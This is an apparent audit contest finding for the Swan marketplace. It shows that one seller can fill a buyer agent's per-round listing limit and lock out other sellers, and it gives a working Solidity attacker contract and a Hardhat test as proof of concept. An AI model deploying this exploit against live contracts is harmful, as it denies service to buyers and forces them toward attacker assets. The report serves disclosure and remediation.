Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: medium
Valid

One seller can fill maxAssetCount list offering for one Buyer leading to DoS cause buyer can't accept other offers

Summary

One seller can fill maxAssetCount for one Buyer by calling swan::list(asset, buyer) multiple times in a single transaction making buyer unable to receive offerings from another sellers leading to Denial of Service and forcing buyer to buy one of attacker's assets

Vulnerability Details

The vulnerability lies because there is no limit of offerings a seller can make to a buyer for a round.
An attacker could deploy a smart contract (C), monitor the mempool and when some new buyerAgent (A) is deployed or one buyerAgent (A) enter in sell phase it could use C to call swan::list(asset_properties, A) n times, where
n = maxAssetCount = swan::getCurrentMarketParameters().maxAssetCount
filling the amount of offerings the buyerAgent (A) could receive for round.

So when another seller tries to list an asset for the buyer in current round it will revert leading to DoS and forcing buyer to buy one of attacker's assets.

The following Proof of concept shows the described above with the scenario:

  1. Attacker deploys smart contract C

  2. User buyerAgent A enter in sell phase

  3. Attacker uses C to call swan::list(asset_properties, buyerAgent) n times

  4. buyerAgent offering capacity is filled by C

  5. When another seller tries to list to buyerAgent it will fail.

First create SellerCt.sol in contracts folder:

// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;
struct SwanMarketParameters {
uint256 withdrawInterval;
uint256 sellInterval;
uint256 buyInterval;
uint256 platformFee;
uint256 maxAssetCount;
uint256 timestamp;
}
interface SwanIface {
function purchase(address) external;
function getCurrentMarketParameters() external view returns (SwanMarketParameters memory);
function list(string calldata _name, string calldata _symbol, bytes calldata _desc, uint256 _price, address _buyer) external;
}
interface TokenIface {
function approve(address, uint) external;
}
interface BuyerIface {
function amountPerRound() external view returns(uint);
}
contract SellerCt {
function listAssets(address swan,address token, address buyer) external{
TokenIface(token).approve(swan, type(uint256).max);
uint max_asset_count = SwanIface(swan).getCurrentMarketParameters().maxAssetCount;
uint max_spend_buyer = BuyerIface(buyer).amountPerRound();
uint price_per_asset = max_spend_buyer / max_asset_count;
for(uint i=0; i< max_asset_count; i++) {
SwanIface(swan).list(
"name",
"symbol",
"desc",
price_per_asset,
buyer
);
}
}
}

Add the following test case in Swan.test.ts under Sell phase section:

it("AAA one seller fills buyer list capacity", async function () {
// Deploy seller contract
const SellerCtF = await ethers.getContractFactory("SellerCt");
const sellerCt = await SellerCtF.deploy().then((tx) => tx.waitForDeployment());
console.log("sellerCt addr ",await sellerCt.getAddress());
// Fund sellerCt with tokens
await token.transfer(await sellerCt.getAddress(), parseEther("30"));
console.log(await token.balanceOf(await sellerCt.getAddress()));
// list assets for buyer so no one could list later
await sellerCt.listAssets(
await swan.getAddress(),
await token.getAddress(),
await buyerAgent.getAddress()
);
// When someone else try to list reverts
await expect(swan.connect(sellerToRelist).list(NAME, SYMBOL, DESC, PRICE1, await buyerAgent.getAddress()))
.to.be.revertedWithCustomError(swan, "AssetLimitExceeded")
.withArgs(MARKET_PARAMETERS.maxAssetCount);
});

Execute test and observe that after attacker uses contract to fill buyer offers capacity no one else could list assets for buyer

Impact

Severity: High due to this flaws makes unable to list assets for a buyer and because buyer is ultimately forced to buy an attacker asset

Tools Used

Manual Review

Recommendations

There should be a limit of how many asset can a seller list for buyer in a round

Updates

Lead Judging Commences

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS the buyer / Lack of minimal amount of listing price

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.